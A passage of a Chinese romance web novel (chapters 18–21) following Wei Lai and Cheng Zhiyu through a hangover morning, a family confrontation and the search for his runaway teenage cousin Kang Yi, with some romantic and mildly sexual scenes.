老天什么时候能正视她的愿望,她明明要的是正版好不好!
房间的门“咔哒”一声,危涞皱眉抬眼,撞见那人深邃的眉眼,像遇见鬼一样后退。
真是靠了?……
“你怎么在这?”她抓了把头发,有点心虚。
程知聿似笑非笑,步步逼近。
“你不记得发生了什么?”
危涞皱眉,发生了什么?
她洁身自好,别想挖坑骗人。
推开程知聿的手,对他的火气还没有下去,“走开。”
被他抓在掌中,掌纹摩挲,眼睛温柔得能沁出水来,“我记得很清楚。”
“你发什么疯?”危涞仍不相信,深觉有诈。
她喝醉酒明明就很老实。
18. Chapter 18
看来是真的一点印象都没有。
对自己醉酒后的姿态没有半点自知之明,她的朋友没告诉她吗,她是酒后最不老实的那一类人。
好不容易帮她擦完脸,终于清醒些,又开始撒泼,抓着程知聿的衬领塞进一张磁卡片,大放阙词:“包你一晚多少钱?”
他无奈拨开她作乱的手,把人裹在被子里,精疲力尽,“老实点,行不行?”
一段时间没听见动静,发现危涞扯着被子掉眼泪。
“哭什么?”他耐心帮她抹去眼泪,才发现人已经睡着了。
程知聿叹气。
“到底发生了什么?”看他的反应,危涞把不准。
“没什么。”他轻飘飘地说。
反倒让她更奇怪,她酒品有这么不好吗。
还是说……
危涞后知后觉捂住乱糟糟的头发。
没搞错吧!
耳垂烫得可怕,隐约记起那双指节分明的手指停留在她的颈侧。
她推开那人端来的醒酒汤,瞪着圆眸,“你还真是不要脸。”
他眉眼含笑,好整以暇听她的控告。
“说说看?”他有多不要脸。
“家里一个外面一个。”
“嗯。”他听她自己骂自己,“还有呢?”
“没道德没良心。”
也不知道是谁,才几天就找了个他的替代品。
“我没同意你就是强-奸知不知道!”她气极,伸出手指一下一下戳着男人的胸膛。
这个帽子程知聿不背,他低眼凝视,“我们做了吗。”
做了吗?不知道。他都把自己带到酒店来了,身上倒没什么不舒服,就是脸……
危涞一下瞪大眼睛,不可置信。
他盯着她骤变的表情:“……脑袋里能不能有点干净东西?”
全是黄色废料。
这么说?
是没有做了。
暗暗松了口气。
“那我的脸怎么那么痛?”
“你走路撞电线杆了。”
谁信。
危涞撅嘴。
余光看见程知聿开始脱衣服,露出腰间的肌肉,他的皮肤没那么白,有锻炼过的痕迹,流畅的线条藏在更深处。
引人遐想。
危涞滚了几下喉咙,“你干什么?”
他俯身向前,她就步步后退,最后被逼到无路可退。
程知聿眸色渐深,眉眼朝她压近,她红着脸躲开,和昨天晚上塞钱要他脱衣服的模样判若两人。
还以为多有出息。
她和别人玩得都这么幼稚?
“你能不能让开点,我有点晕肉......”
危涞眨着眼睛躲开,他身上的沐浴乳气味离得很近,混着温暖的气息。
她发誓!
他要是敢在她丑得见不了人的时候做出下一步,她绝对,绝对会叫他死得很难看。
男人温热的唇息擦过泛红的耳垂,他低低笑,有力的手臂从危涞身边穿过,抓起一件衣服,反倒嘲笑她:“你在想什么。”
“......什么都没想。”
程知聿利落地套上衣服,“你真把我送你的香水丢了?”
“不然呢。”
他都送给她了,那就是她的东西,丢不丢还要经过谁的同意吗。
程知聿轻叹,他花了点功夫才买到的。
她说丢就丢了。
危涞看他的表情,不就是一瓶香水,有必要这么心疼吗。
“小气鬼。”她小声嘟囔,觉得边子瑜说的没错,一毛不拔的铁公鸡。
“你有什么想要的,”我补给你。
两人的话撞在一起,危涞又红了脸,没想到他是这种反应,还是忍不住猜他的怀心事,一定是嘴上功夫,等到付钱的时候左右推脱就是没有。
话是这样说,她还是问:“多少钱都可以?”
他是务实主义,“我能力范围内的任何。”
他真的好会哄女孩子开心。
危涞又不高兴。
“那我要你书桌上的四不像。”
他很快明白,是那个做失败的木雕夜灯,“这个不行。”
“为什么?”她不依不饶,“是不是哪个前女友和你分手时留下的纪念品,这么多年舍不得扔,还要摆在桌上怀念。”
危涞语速很快,说得头头是道,越想越觉得如此,不然那么丑的东西摆在桌上天天看,会折寿的好不好?
程知聿佩服她编故事的能力,“你呢?你又谈过几个。”
他不回答,还反过来问她。
就更加在危涞心里坐实了心虚的事实。
和女孩子求证谈过几个对象是不是太没有风度,至少她没和程知聿一样念念不忘至今。
嘶,酸得掉牙。
“我谈过几个和你有什么关系?”危涞被他这副清清淡淡的样子挑衅。
“那木雕怎么来的又和你有什么关系。”程知聿轻轻一眼,不想在这种话题上浪费时间。他都当见不得光的那个了,还不能有点特权吗。
她说一句,他能说十句百句。
他这是什么态度,不想聊了可以滚出去!
不对,这是程知聿定的酒店,要滚出去的说不定危涞。
越想越气。
“我的行李还给我。”她语气冷下来。
程知聿看着危涞眉间的那点皱起,还像个小孩,说两句就生气,他去牵她的手,被人没好气地丢开,“男女授受不亲。”
她在山上亲他的时候怎么没想过男女授受不亲。
程知聿笑道:“你怎么这么容易生气。”
危涞恨恨瞪他,她就是容易生气又怎么了?她小气,她没肚量,那他还来京市做什么?
“木雕是我自己做的,你也说了四不像,怎么送的出手。”他和唐凌在宜城出差的时候抽时间做的,本来打算送给危涞赔罪,无奈他实在没有天赋,店老板看着做出来的东西欲言又止,最后也就算了。
而且对她来说,这种小东西未必看得上,又托人在专柜买了瓶香水。
谁知道危涞一点不领情,贵的香水不要,对这个木雕念念不忘。
他自己做的?
危涞才抬眼,“你要送给谁。”
为什么送她的是香水,送别人的这么用心亲手做。
程知聿眸光幽深,不想再和她多说一句话。
危涞顺着他的目光找到自己,弯了弯眼尾,“我呀?”
他不再说话。
危涞不相信,非得找出个答案,手握上男人的小指,来回晃晃,颇有撒娇的感觉,“真的是送给我的?”
她的指腹柔软,掀起他一点笑来,“送给我自己的。”
危涞得到答案,“哼”了两声。
好吧,她大人有大量。
原谅他又怎么了。
她从程知聿带来的行李里找出要的东西,钻进浴室洗澡。
裹着浴巾出来的时候看见程知聿坐在书桌前办公,心里嘀咕:出来玩还带电脑,有这么忙吗。
她悄悄举起手机,摄像头对准,被男人敏锐地抓住。
危涞摸摸鼻子,把手机扣在桌上。
程知聿合上电脑,呼吸停了一下,抓起椅背上的外套披在她裸露的皮肤上。
突然的重量盖在肩膀上,危涞好笑,骂他装什么正人君子。
“……只是怕你着凉。”
哼哼,房间里不是开着暖气吗。
她解开发帽,使唤程知聿,“帮我吹
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头发。”
他的手干燥温暖。从光滑的颈间穿到细软的发丝之间,抓在手里把玩。
这一缕头发最终被人狠心抛弃,“自己吹。”
男人的面色温和,心思深重。
给她的好处太多就越容易腻。
她厌烦了他很快就会找下一个。
“嘁。”危涞埋怨他不解风情,自己拿出吹风机慢慢吹干。
她在头发上花的功夫很多,吹干了还得抹一层精油。
程知聿就靠在一旁等,也不玩手机,就安静地注视她。
好像重复这些枯燥的动作多么有意思。
最后抹精油的事情还是到了他的手里。
掌间抹了花香的精油,再轻轻柔柔穿过危涞的头发,她对镜涂上无色唇油,“待会去干什么?”
“我知道有家新开业的餐厅。”危涞拢过头发,拎出化妆品。
“只有吃饭的时间了。”程知聿抱歉,下午还约了别的事情,“晚上陪你。”
他的手再度在身下人的耳边停留,被她轻巧躲开,“你有什么事情?”
她问,透过镜子不满看向男人优越的眉眼,他就那么多事情?人到了京市最重要的难道不是她吗?
他的时间就这么难约,喊他来京市的消息是小一个礼拜前发的,他现在才来,在她身边的时间还要匀一部分给工作。
如今危涞主动邀请,他甚至能面不改色地拒绝。
程大忙人。
这么忙还要抽时间应付她真是为难他了。
程知聿要说话,她已经没心情听。
“算了,你忙你的吧。”
反正他们之间也不是需要腻在一起的关系。
程知聿陪她吃完饭,果然头也不回的走了。
“你什么时候回英国?我妈喊你吃饭。”
“什么?”危涞回过神,才发觉思绪飘得这么远。
边子瑜“啧”了声。
“还一段时间。”危涞回答,咬着吸管喝冰可乐,杯里的冰块撞在一起,响声清脆。
“你生理期不是快到了,还敢喝冰的。”边子瑜望着危涞杯里几乎满杯的冰块,疼的时候有她好受的。
“可乐不加冰没有灵魂呀姐姐。”她笑。
和边子瑜过了一下午无所事事。
大忙人终于舍得出现。
“给我带了什么?”危涞看向中控台上包装精美的盒子,突然明白这是她随手转发给程知聿的网红蛋糕店。
这家店可是在城西。
他特意绕远路去买的?
可是。
罪恶的小蛋糕,一口下去几天的努力都白费了。
危涞正犹豫,听程知聿说,
“减糖版。”他知道她总是计较热量。
行。
挺懂她的。
危涞抱着蛋糕咬了两口,嫌弃地皱鼻子,果然只是营销做得好。她塞给程知聿,不为辜负他来回几小时的路程感到抱歉。
程知聿也不怪罪,任劳任怨,手里是她剩下的蛋糕,路过买下只咬第一口的冰糖葫芦,以及她的包。
危涞轻快且洒脱,他手上零零散散的东西多得几乎拿不下,无奈停下脚步。
天边是最后一抹霞光,温柔地洒下来。
他站在霞光里,眉眼柔和,仿佛能包容她的一切。
她对他这样的神情没有抵抗,抓住那人袖口的衣料,猝不及防吻了上去。
程知聿为她的举动停住。
忽然近处传来一声轻柔的女声,像在确定,
“……小涞?”
“……”危涞命苦地回头,撞上身后不满的视线。
朗禄和薛莹,还带着那个小鬼头。
每晚八点准时上映的老年爱情篇吗?
19. Chapter 19
那小孩看见危涞就要哭,她有心欺负,背着程知聿的面朝他扮鬼脸。
他“哇”一声,冒出一个鼻涕泡。
想也知道是危涞在搞怪。
程知聿拉住她的手向两人点头示意,男性长辈的视线在他身上停留良久,最后转向危涞,“回来了怎么不回家。”
说话的语气很熟稔,想来是危涞很亲近的人。
朗禄态度比上次好很多。
危涞却是个软硬不吃的性子,心情好了还能好好讲两句话,心情不好路过的虫子都要被她骂几句。
更何况她还在生气当中。
“和你有什么关系?”她对朗禄呛道。
抓在手腕上的那只手用了点力,在劝她好好说话,危涞干脆甩开,她并不介意在人前和朗禄撕破脸,反正受影响上新闻的只有他。
手里落了个空,程知聿知道她的脾气,于是低声说道:“我去周围走走。”
顺便把她制造的垃圾解决了。
薛莹刚给小孩擦干净眼泪,见危涞身边的青年已经走远,也把空间留给这对父女。
朗禄对女儿无可奈何,本以为停了她的卡她就会服输,没想到反倒把人逼得越来越远。
道歉明显不是朗禄擅长的事情。
嘴边的话几次都没有成功说出口,最后化成一声长叹。
“在外面玩够了就回家,少和不三不四的人来往。”他一说话还是教育的语气。
再后悔也没办法,动手了就是动手了。
危涞不吃这一招,打都打完了现在给她道歉,他又不会痛,疼的明明是她好不好!
见朗禄没话要说,危涞起身,为他接下来这句话停下动作。
......
高大的青年站在桥边,手里夹着烟,见女人抱着小孩走近,很快丢进垃圾桶。
薛莹走近,笑着说:“和危涞相处很不容易吧?”
她问,像被这个问题烦恼了很久,程知聿分出视线,听薛莹接着说:“这孩子命苦,从小失去母亲,家里人又娇纵,所以脾气大了些,她对你使性子的时候你多理解一些,毕竟没有母亲教导——”
话里话外都是为危危涞着想,听起来就是不舒服。
薛莹还没说完,就听见那年轻男人轻快的笑声,他盯着她怀抱中的孩子,胆小怯懦,有母亲教又怎么样,甚至不如他们。
“我不觉得和她相处起来困难。她确实急躁,但发脾气都是有理由的。”他说。
简单来说,一定是你做错了什么自找的。
薛莹的脸僵住。
他就没见过危涞对奶奶发火。
而且,眼前的女人没经过危涞的同意就对着一个完全不认识的人大肆宣扬她的苦难,程知聿不知道危涞介不介意,他很介意。
哪怕这片痛苦已经结痂,她也没有撕开的权利。
没想到程知聿是这样的反应,薛莹退开两步,脸色尴尬,“是,她不会随便朝人发脾气。”
她白着脸要离开,怀里的小孩去抓那串被人咬掉一颗的糖葫芦,薛莹轻斥,“别动叔叔的东西!”
程知聿摇头,他已经能被叫做叔叔了。
末了从口袋里摸出几颗糖,放进他软绵绵的掌心。
小孩子并没有做错什么。
这一幕恰巧被危涞撞见。
“你在做什么?”她小气地把孩子掌心的糖收回来,被抢走糖的小孩瞬间嚎啕大哭。
薛莹抱着哄。
危涞想当然以为程知聿在她不在的时候和薛莹相处良好,眼神不满地质问,他们不是一伙的吗!他为什么要向着别人!
他哪里向着别人了,不过是给了几颗糖。
朗禄后她一步出现,看见女儿气势汹汹的样子,“又怎么了?”
他被薛莹怀里的小孩哭得脑瓜疼,“快哄哄。”
危涞不搭理,从程知聿手里抢过自己的包,快步走在前面。
她咬着唇想,
总是这样,所有人都可以轻易地从她的身边离开。
她就是脾气差,就是哪里都不好,行了吧!
危涞的包跟着动作被甩得很高,程知聿很容易地勾住链条,被她用力推开,“你能不能离我远点!”
她喊着。
对她莫名其妙的脾气,程知聿只觉得可爱。
他轻笑,怎么又生气了。
“你就这么喜欢我啊?”
陪喝酒的男人和他长得像也就算了,他不过是多和别人说两句话她见了也要生气。
她是因为这个原因吗!
危涞剐他一眼。
他应该坚定不移地站在她这边,不管别人说什么,他只要回答:“她在我心里永远是最好的。”
这就够了!
“我们是什么关系?”程知聿拉着包链子,一点点把人拉近。
她不情不愿地朝他靠近,最后是抬头就能擦上下巴的距离,“还没打过炮的朋友。”
程知聿无语,“……你和所有朋友都能做这种事?”
他又抽什么疯?危涞小幅度踢他两下。
很无能狂怒。
听他说:“你也说了我们只是朋友,刚刚要求的那些是女朋友才有的待遇。”
“你男朋友是这样对你的吗?”程知聿看着她头顶的旋。
危涞听不懂他的话,什么男朋友?她有吗?
愣了一下,想起程知聿之前说的种种。
“……”所以,他一直觉得她有男朋友是吗。
都这样了,他还愿意来京市找她,感情是在自我攻略啊。
危涞笑弯了眼睛,“我男朋友可没这么不尽责,这些都是基本的,除此之外……”
“诶,诶!我还没说完呢!”
换危涞追着程知聿走。
这么说,他还给她当过一段时间的小三,乐了。
......
至于要和程知聿发展一段真正的男女关系?危涞没想过,开始一段感情是很简单的,要结束的时候却很难。
边子瑜十七岁青涩的初恋,到她二十三岁时也还没能放下,每次喝醉了酒都要给危涞打电话。
那时危涞还在国外,刚结束工作从剧院回来,就在手机里看见一张哭花了妆的脸,她实在不想说,谁能来治治这个死恋爱脑?
危涞把头发扎成小啾啾,听她鬼哭狼嚎,长情又薄情的女人,连分手时初恋戴了块什么颜色的表都记得一清二楚,她每喝醉一次,危涞就要多听一遍他们的
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恋爱史。
故事倒着都能背出。
是很老套的剧情:学渣爱上班里的学霸,学霸要出国,两人分手。
可能是因为初恋为了前程放弃她造成的伤害太重,边子瑜出国找危涞的次数屈指可数。
终于有一次又是在她醉酒之后,危涞看着好友欲掉的假睫毛,“要不要我找到他帮你骂一顿?”
一直这样也不是办法,边子瑜如临大敌,“不要!”
眼神更加落寞。
这么多年过去了,初恋哥不知道在哪条街潇洒,说不定已经有了女友,更说不定已经结婚。
而她呢?
碌碌无为。
碰见他她会羞愧而死的好不好。
更何况。
她连他在哪都不知道。
怎么找。
边子瑜又开始掉眼泪,哭到危涞已经看完一部音乐剧,“咻”的站起来,“狗男人都给老娘去死吧!”
程知聿只在京市待了三天,第一天晚上落地,第二天留出半天时间陪她,第三天启程上班。
“......”狗男人都给老娘去死吧。
危涞听见他的安排,冷笑不说话,她要什么时候才能吃上肉,作为p友,这也太不尽职了吧。
不过也没办法,她大姨妈一向很准时。
摊在沙发上半死不活,危涞依旧给自己开了一罐冰可乐。
软绵绵的死鱼眼,喝下一口气泡。
人生已经这么没劲了,还不准她喝点碳酸饮料加点劲吗。
梳妆台上的那瓶透瓶子香水被她塞进最角落的位置,她和程知聿的聊天记录留在对方发来的最后一条语音。
无非就是“我登机了再联络”云云。
边子瑜知道密码,“滴”一声自己开门进来,手上拎着食盒。
她远远看见危涞桌上的可乐,丢进垃圾桶,“你就稍微缓两天喝会死啊!”
危涞什么都能戒,爱喝冰可乐的习惯怎么都戒不了,这罐可乐下肚她今天又要算热量不吃饭了。
“那什么?”危涞看见边子瑜手里的塑封袋。
“不是你点的外卖吗?”她上楼时撞见外卖员,就一起给她带上来了。
不是她,她连拿手机的力气都没有。
“……”猜到了,有点良心的狗男人。
边子瑜看见内容物,很欣慰,“不错,我们小涞懂得怎么照顾自己了。”
危涞看了一眼,是一家要排队的热红豆汤。
她当然不能和边子瑜说不是自己点的,不然她得气死。
端过边子瑜带来的食盒,化悲愤为食欲,一口口塞进嘴巴。
“你在看什么?”她的播放记录里什么时候出现金融时报新闻了?
危涞看得头大,各种晦涩的术语她根本听不懂,强塞进脑子像一团泡涨了的棉花球。
“能不能请教……”你的初恋学霸哥?
“你找死啊!”边子瑜抢走食盒,最不想听见他的名字。
她听过他的消息,年少有为,不靠家族自己闯出一条路,她每个月还在等零用钱,人和人之间的差距这么大,怎么比?
他听见她的名字,说不定只会笑笑,“年少的时候不懂事而已。”
20. Chapter 20
程萍坐在饭桌边,抽纸已经用完一包,这半年掉的眼泪比前半辈子加起来的还要多。
姑父则是坐在沙发边上抽烟。
她看见程知聿进来,躲掉红肿的眼睛,“知聿来了。”
“还是没找到康贻吗?”他问。
“我说你就不应该去动康贻的东西!从上回离家出走之后眼看着好了点,被逼着上了几天学,又跑了!”康曾文一拍手掌,指责妻子。
程萍忍住的眼泪决堤,“你说得好听你管呀!她才多大,她现在谈恋爱还要不要读书了?你没看见镇上张家的女儿......唉!”
程知聿知道,张家的女儿高中都没读完就和人私奔了,回来的时候一个人大着肚子。
她的手重重垂下,又抽几张纸巾,对着程知聿,“姑姑知道你很忙,但是能不能...能不能帮姑姑找找康贻......”
程萍的话断断续续,哭得不成声。
她其实是个很坚强的女人,没念过多少书但是很能吃苦,早年跟着师傅做衣服,吃了很多苦头。
刚开始的时候师傅嫌她穷,人家都买烟买酒,只有程萍空着手也不会讨好,于是什么都不愿意教,打发程萍洗所有人的衣服,寒冬腊月她的手浸在冷水里搓洗,手上的冻疮就是从学徒时候开始生的。
一直到现在没能断得了根,每年冬天都要复发。
后来学裁衣、制衣,自己出来开店,生活才好点。
她开店的时候程知聿刚上高一,大哥跟着人家出去打工,人没回来,钱也没有回来,林秀禾囊中羞涩问她借钱,程萍二话不说拿出程知聿的学费,没有她,程知聿可能都没读完高中。
印象里程萍不会哭,原本胖胖的身材也在起早贪黑里熬瘦了。
像瘪掉的气球一样。
奶奶心疼她,她却毫不在意,“累啥呀!这不还得赚钱供阿聿读大学吗!”
那样苦的日子她都没掉下几滴眼泪。
如今为了女儿,眼眶红了又红。
程知聿已经托人去找,康贻再次离家出走的事情没人告诉林秀禾,她本来刚出院,再来一次怕受不住。
康贻这次出走的时间比上次还长,她身上有钱,手机一直没开机,不知道会躲到那里去。
程知聿忙了一整天,打开手机发现几条未读消息,第一条是那碗红豆汤的照片,评价了两个字:“难吃。”
第二条,“我的四不像什么时候寄给我。”
第三条,是看他一直没回复,刚刚才发来的,“666。”
程知聿给她回了电话,“嘟嘟嘟”几声,在铃声结束之前那人才不急不缓地接起电话。
“做什么?”语气很不客气。
程知聿沉默了很久,久到危涞要挂电话的时候,他说:“你能不能帮忙找找康贻。”
危涞皱眉,康贻?
她怎么了?
“算了。”她又听见那人又说,“早点休息。”
莫名其妙。
危涞不明白他的意思,被挂断电话,再打过去就没人接听。
六百六十六,抛了个问题出来,不接电话。
她格外执着,举着手机一个个打过去,一个不接就再打下一个,反正要打到他接电话为止。
手指不小心误触到视频通话,想着他反正不接,就放着没管,铃声一直在响。
两秒过后,氤氲的雾气升上来,湿漉漉的手接通了视频,对着模糊的摄像头,她看见染上水汽的优越眉眼,粉红的,像蒙着一层薄薄的纱,窄劲的腰身,和清楚的人鱼线,一览无余。小腹平坦紧实,她分明看见什么一闪而过。
程知聿停了几秒,看见那双亮晶晶的眼睛,很快关了摄像头,“...我在洗澡。”
洗澡又怎么了?
洗澡就不能看了?
“你刚刚说什么我听不清楚你的话,能不能把摄像头打开。”危涞要求。
听人说话需要用眼睛吗?
“我让你早点睡觉,生理期别熬夜。”程知聿的声音断断续续。
“听不清。谁胜利了?”危涞装。
“......”他几乎被她拙劣的演技笑出声,最后还是听她的打开摄像头,头发是随手抓的,露出光洁的额,比平时多了点攻击力,“现在能听清了吗?”
也许觉得不好意思,脸只出现一瞬间,手机被主人调整。
危涞刚燃起斗志,就被泼了一盆冷水。
无语,更听不清楚了。
这根本什么都看不到!
他的手机放的位置不好,刚才正好能看见他的小腹,现在就能看见一只手,连脸也看不见,他怎么不再小气一点,直接让她看墙呢。
言归正传。
“找不到康贻了?”
这次程知聿没再隐瞒,“是,和姑姑吵架跑出去了。”
叛逆期呀,想不到这小妞这么厉害。
“电话呢?”危涞对着一堵白色的墙说话。
程知聿换了个动作,现在连手也看不见,“一直在打,一直没人接。”
他记得康贻和危涞关系不错,这才找到她。
但又一想,隔得太远了,就算危涞有心,估计也没办法。
她有一会儿没说话,记起边子瑜开门的时候,康贻头上的辫子已经全拆掉了,她当时没放在心上,现在想,她的情绪估计从那个时候就开始了。
听筒里水声已经停了,传来细碎的声响,程知聿套上干净的短袖。
下巴的胡茬冒出了头,湿的头发漏出凌厉的眉角。
他这几天忙得没停,忙完奶奶的事又马不停蹄跑去京市找她,现在还要急着找康贻。但还是在认真的回复危涞的话,“她应该不会跑远。”已经往康贻同学家一个个打电话问了。
危涞看着他瘦削的下颌,心中触动,“你要不然辞职吧。”
他实在太忙了,所有人都要从程知聿这分走点精力,留给危涞的已经很少。
他的时间就那么多,偏偏她手里是最少的一份,那也太不划算了。
危涞还挺有钱的,大不了自己省点,养他也不是问题。
“你说什么?”他蹙眉一笑,摇头,“别开玩笑。”
且不说他们的关系能维持多久,他根本不需要危涞降低自己的生活水平救助他。
程知聿工作这么多年,总有点积蓄。
他有点严肃,看起来是在认真拒绝她的请求。
而危涞也觉得自己越界,“你就当刚刚的话没听过。”她也是糊涂了才说这种话,“我会试着找康贻的。”
“谢谢。早点睡觉。”
危涞扯扯嘴皮,真敷衍啊。
就一句谢谢。
危涞捡起老本行开始打电话,康贻带了手机总有开机的时候,她回国的时候被业务员忽悠着买了张超大流量,超长通话时间的套餐,
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预充的话费能用到2043年。
程知聿在街尾的摄像头里找康贻的影子,这个地方死角很多,康贻又是个惯犯,故意避着人摄像头走,几帧画面来来回回看得眼花都没找到人。
“喂?”他接起电话,听对方说完,皱起的眉毛紧了又紧。
康贻找到了。
程萍很激动,手抖得不行,“她在哪?!”
她的表情又惊又气,眼泪不停,气道:“等她回来我不打断她的腿!”
康曾文也紧张地走近。
程知聿盯着姑姑,良久才开口,“给她请一段时间假吧。”
“怎么可以?她学校的课落下那么多,所有人都在上课,她已经比别人多出那么多休息时间,再不读书怎么赶得上?”程萍一顿,“你和我说,她是不是出什么事情了!”
“知聿你别吓我们,快说啊!”康曾文也着急了。
程知聿摇头。
康贻身上的零钱花完了,那天刚打开手机想和小卖铺的老板换钱,就被一连串强势霸道的电话号码打进来,号码归属地是京市。
她卡得连页面都退不出去,害怕是家里人找,又把手机关机饿了几天。
后来实在饿得受不了,康贻侥幸地想,对面总不能一天24个小时给她打电话吧?
又把手机开机。
她真的从来、从来没见过这么闲的人,忍无可忍,“你到底谁啊!”
对方的声音带着笑:“小康贻,最近在哪潇洒呀?”
康贻初中还没毕业,但是她知道,危涞绝对是在嘲笑她。
她都流浪街头了还有哪潇洒!
她知道危涞和表哥是一伙的,很快挂断电话,接着又收到一条短信,“长江路237号,往左是面馆,往右是手机修理店。”
她准确无误地报出康贻的位置。
康贻以为她要逼自己回家,危涞却奇怪地说:“回家干嘛?出来玩啊。”
反正她也不想上学。
危涞给康贻买了去京市的机票,考虑她第一次坐飞机,还给办理了无陪服务。
等接到人落地,都带着康贻在环球影城玩了一圈才慢悠悠给程知聿打电话。
康贻在试小黄人的帽子,危涞看了一眼。
“Hello,康贻在我这呢。”
程知聿皱眉,什么叫在她那?
“她挺好的,能吃能喝就是不想上学,你和你姑姑姑父说一声。”
“危涞。”对方沉声喊她的名字。
康贻眼睛闪闪指着帽子问她,“能拍照吗?”
危涞比了个“ok”的手势,继续回答,“怎么了?”
“你做决定之前能不能告诉我一声?”
危涞眼里的情绪凝了一下,笑了,他在点她呢。
是了,她又不是康贻的谁,有什么资格自作主张。
可是康贻从家里出来不就是不想被他们找到吗。
告诉他们了,然后呢。
就欢天喜地回家团圆了吗。谁能保证康贻会老实回去上学不再离家出走。
出现了问题不该解决吗?抓回去教育有什么用。
她不想和程知聿多说,骂了句“傻逼”然后挂断电话。
“怎么了?”康贻见她唇绷得紧紧的。
危涞一把把她的脑袋推开,“玩你的去。”
他既然站在康贻父母那边,那她就要站在康贻这边。
21. Chapter 21
康贻像是知道什么,手上的东西默默放下。
下午在园区里找了一家主题餐厅吃饭,危涞吃了两口就结束,坐对面的康贻则迟迟不动餐具,看起来有点不安。
她犹豫了半天,还是开口,“谢谢姐姐......”
“我过几天回家吧。”她低声说。
危涞从手机屏幕里举起脑袋,疑惑,她玩得好好的怎么突然想回家了?
坐在玩偶中间的女孩戴着一顶毛绒帽子低头,自责道:“我离家出走这么多天爸妈一定很担心。”
危涞看出她纠结的情绪,正色问道:“康贻,你想回家吗?”
她点头又摇头,回家一定会挨骂,说不定还会被赶去寄宿学校,但是,
她又觉得自己做得不对。
手机开机的时候塞满了未接电话,刚开始还觉得痛快,谁叫他们总是对她那么严格,可是再看着长条熟悉的号码,眼眶慢慢红了。
收信框里密密麻麻全是爸妈对她的担心。
万一离家出走的事情被外婆知道——
康贻不敢想。
她低下脑袋,“你也别因为我和我哥吵架。”
她知道刚刚那通电话是打给程知聿的,也听到危涞骂他。
父母私底下谈论表哥的时候被她听到,知道他其实很可怜的,舅妈嫌家里穷,很早就和别的男人跑了,后来舅舅又染上赌博,在他读书的时候变卖家里的财产,还总是问哥哥要钱,每次回家都要吵个天翻地覆。
他都这么大了也没带过女孩子回家。
所以。
康贻悄悄看一眼对面短发的漂亮姐姐,又很快低下头,她希望她对哥哥好一点。
至少可以轻一点骂他。
危涞没觉得康贻发现了什么。
她盯着康贻苦兮兮的小脸,“康贻,你为什么不想上学。”
“你不想说就算了。”她没等到她的回答,“你想回家的话,我过几天找人送你回去。”
康贻沉默了很久,还是开口。
“你别告诉别人行不行?”
……
康贻最终还是决定回家,程知聿来接她。
电话是昨天晚上打的,人是今天清晨到的。
风尘仆仆,总有人心胸狭隘,计较很多。
那人躲在房间觉得憋屈,他对她怎么没有这么积极。而且这分明是自己的家,该躲起来的是他们好不好?
喊他来还得在他的计划表上排名。
连门都是康贻开的。
程知聿今天穿得简单,普通的风衣长裤,整个人透露出一种颓废的美感,他没见到人,心里猜了个大概。
望着那扇紧闭的房门,和康贻面面相觑。
主人不在,反倒让客人自己招待。
场面太尴尬,康贻只好担起主人的职责给他倒了杯热茶,放下时仍心虚的不敢看哥哥的表情,她知道自己有一通骂绝对逃不过。
手掌紧张的摩挲裤子。
等着挨骂。
程知聿心里却藏着事,没顾得上批评康贻私自跑出来的恶劣行为,毕竟组织人是这房子的主人,多说一句都等于打她的脸。
手指被滚烫的茶水烫到,很快红了一片。
他愣了一下,抽过纸巾擦干。
不过是很小的一片红痕。
“啊!”康贻大惊小怪,拉长嗓子喊,好像是什么不得了的伤,“姐姐!创口贴在哪!我哥被烫到了!”
危涞抱着手机打游戏,听见声音,连翻了好几个白眼,操作的人物血条告急,倒在地上一动不动,气得摔手机,“叫他滚出我家,我家没有创口贴!”
就算有也不给他用。
说完居然真的安静了好一阵,静悄悄的,一点动静都没有。
手机里的角色死了太多次被队友开麦喷菜,危涞点了举报,索性关了游戏。
竖起耳朵仔细听,没得到想要的答案又不高兴,喊他滚还真的滚了。把她家当成什么了?旅馆吗。
想来就来,想走就走,她哪里受过这样的委屈?
危涞不可置信打开房门,客厅空荡荡的,说话都有回声。
连着康贻一起骂,“没良心的小屁孩,亏我对你那么好。”
“都滚!都给我滚!”她往羊驼玩偶软绵绵的身体上狠狠踢了几脚,还觉得不痛快,“臭不要脸程知聿,再和你说话我这辈子赚不到钱!”
脸涨得通红。
“发这么狠的誓?”他在轻笑,才擦干净手从阳台走出。
危涞听见熟悉的声音,冷脸背身就要往房间走,房门抵上,被一双有力的大掌顶住门,她被他夹在缝隙指尖,手从身后揽住危涞的腰,温暖沉稳的气息把她包围,他的下颌在她发上,轻柔又无奈,“和你道歉好不好?”
谁稀罕他的道歉?
“我说话太冲动,没考虑你的感受,我知道你是好心的。”
她不想听这些套话,说来说出还是觉得她做错了。手下更用力,要把人强硬地关在门外。
“呃!”身后高大的身影吃痛一声,似乎被门夹到。
可惜他遇见的是个冷心冷意的,夹到了是吧?那就再用力点,疼死他才好!
她还是不说话。
“唉。”叹息声从头顶传来,“冒犯了。”
“!”危涞双脚悬空,被人轻而易举地拦腰抱起,她被卷进这张温暖的网,根本无力挣脱,程知聿空出一只手,把房门反锁。
“咔哒。”在密闭的空间里分外清晰。
“你做什么!”臭不要脸,她在生气!生气!他居然还想着这些事情?!
危涞在他怀里挣脱,锋利的指甲快速划过男人的下颌,很快出现几道红痕。
活该。
她愤怒地还要再甩一巴掌,葱白的手指却被人牵在手里把玩,宛若珍宝一般,他修长的手指环在腕骨之间,沿着骨头生长的脉络向前,在柔软的指根停留了很久,酥麻的感觉触及心脏,最后滑向前,把她捧在手中。
“...你有病?”危涞感受到,火冒三丈。
“对不起,人之常情。”他真情实意。
“可以吗?”接着问。
“可以你妹。”
“我妹不在。”
她的手指被他圈在手中,脸越来越红,越来越烫,良久过后他叹慰一声,把头埋在危涞颈侧,温热濡湿的气息喷洒开,好痒。
她不禁缩起脖子,这一片的皮肤都变得滚烫。
“......”
“什么?”危涞皱着眉嫌弃拿开手,被人拿在手里细细清理。
“没什么。”她没听见反倒更好。
“你来就为了这
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件事?”危涞脸色更冷,手已经被干净,耳根却是异样的红,狠狠拍开他。
人被圈在怀中,房间里是她常用的香氛,程知聿眼尖,一下看见被藏在化妆品角落的那只香水,靠在她的颈侧,短暂拥有片刻的安宁。
“你骗我。”他慢慢笑了,惩罚性咬了一口,没经过主人允许,也只敢轻轻的,最后还是加重了力道,整齐的牙印留在上边。
痒死了!
危涞拨下头发挡住,又听他说。
“下次帮助逃犯逃跑的事情记得叫上我。”
“叫上你有什么用?还不是跑去告状。难道会站在我这边?”谁是外人她心里清楚得很,危涞冷冷道。
